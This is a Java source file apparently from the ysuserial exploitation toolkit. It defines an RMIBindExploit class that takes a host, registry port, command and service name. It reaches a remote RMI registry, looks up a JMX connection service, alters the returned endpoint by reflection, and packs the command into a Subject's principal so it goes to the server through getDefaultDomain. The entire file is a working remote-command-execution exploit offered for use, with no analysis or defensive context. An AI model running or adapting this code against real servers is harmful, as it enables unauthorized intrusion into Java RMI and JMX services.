content: package org.su18.ysuserial.exploit;
  
  import com.sun.security.auth.UnixPrincipal;
  import org.su18.ysuserial.payloads.util.Reflections;
  import sun.rmi.transport.StreamRemoteCall;
  import sun.rmi.transport.tcp.TCPEndpoint;
  
  import javax.management.remote.rmi.RMIConnection;
  import javax.security.auth.Subject;
  import java.io.IOException;
  import java.io.ObjectInput;
  import java.io.ObjectOutput;
  import java.lang.reflect.Field;
  import java.rmi.*;
  import java.rmi.registry.LocateRegistry;
  import java.rmi.registry.Registry;
  import java.rmi.server.Operation;
  import java.rmi.server.RemoteObject;
  import java.rmi.server.RemoteRef;
  import java.util.*;
  
  /**
   * @author su18
   */
  public class RMIBindExploit {
  
  
  	static class RMIClient extends RemoteObject {
  
  		private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
  
  		private RemoteRef ref = null;
  
  		private String ip = null;
  
  		public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
  			try {
  				StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
  
  				try {
  					ObjectOutput var3 = var2.getOutputStream();
  					var3.writeObject(var1);
  				} catch (IOException var15) {
  					throw new MarshalException("error marshalling arguments", var15);
  				}
  
  				this.ref.invoke(var2);
  
  				Remote var20;
  				try {
  					ObjectInput var4 = var2.getInputStream();
  					var20 = (Remote) var4.readObject();
  
  					Field f = var2.getClass().getDeclaredField("in");
  					f.setAccessible(true);
  					Object conn = f.get(var2);
  
  					f = conn.getClass().getDeclaredField("incomingRefTable");
  					f.setAccessible(true);
  
  					HashMap rets = (HashMap) f.get(conn);
  
  					Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
  
  					f = entry.getKey().getClass().getDeclaredField("host");
  					f.setAccessible(true);
  					f.set(entry.getKey(), this.ip);
  				} catch (Exception var13) {
  //                var2.discardPendingRefs();
  					throw new UnmarshalException("error unmarshalling return", var13);
  				} finally {
  					this.ref.done(var2);
  				}
  
  				return var20;
  			} catch (RuntimeException var16) {
  				throw var16;
  			} catch (RemoteException var17) {
  				throw var17;
  			} catch (NotBoundException var18) {
  				throw var18;
  			} catch (Exception var19) {
  				throw new UnexpectedException("undeclared checked exception", var19);
  			}
  		}
  	}
  
  	public static void main(String[] args) throws Exception {
  
  		if (args.length < 4) {
  			System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
  			System.exit(-1);
  		}
  
  		String host = args[0];
  		int    registryPort     = Integer.parseInt(args[1]);
  		String command      = args[2];
  		String serviceName      = args[3];
  
  		Registry registry = LocateRegistry.getRegistry(host, registryPort);
  		System.out.println(Arrays.toString(registry.list()));
  
  		Subject subject = new Subject();
  
  		Set set = new HashSet();
  		set.add(new UnixPrincipal(command));
  		Reflections.setFieldValue(subject, "principals", set);
  
  
  		RMIClient r = new RMIClient();
  		r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
  		r.ip = host;
  
  
  		System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
  	}
  
  }
  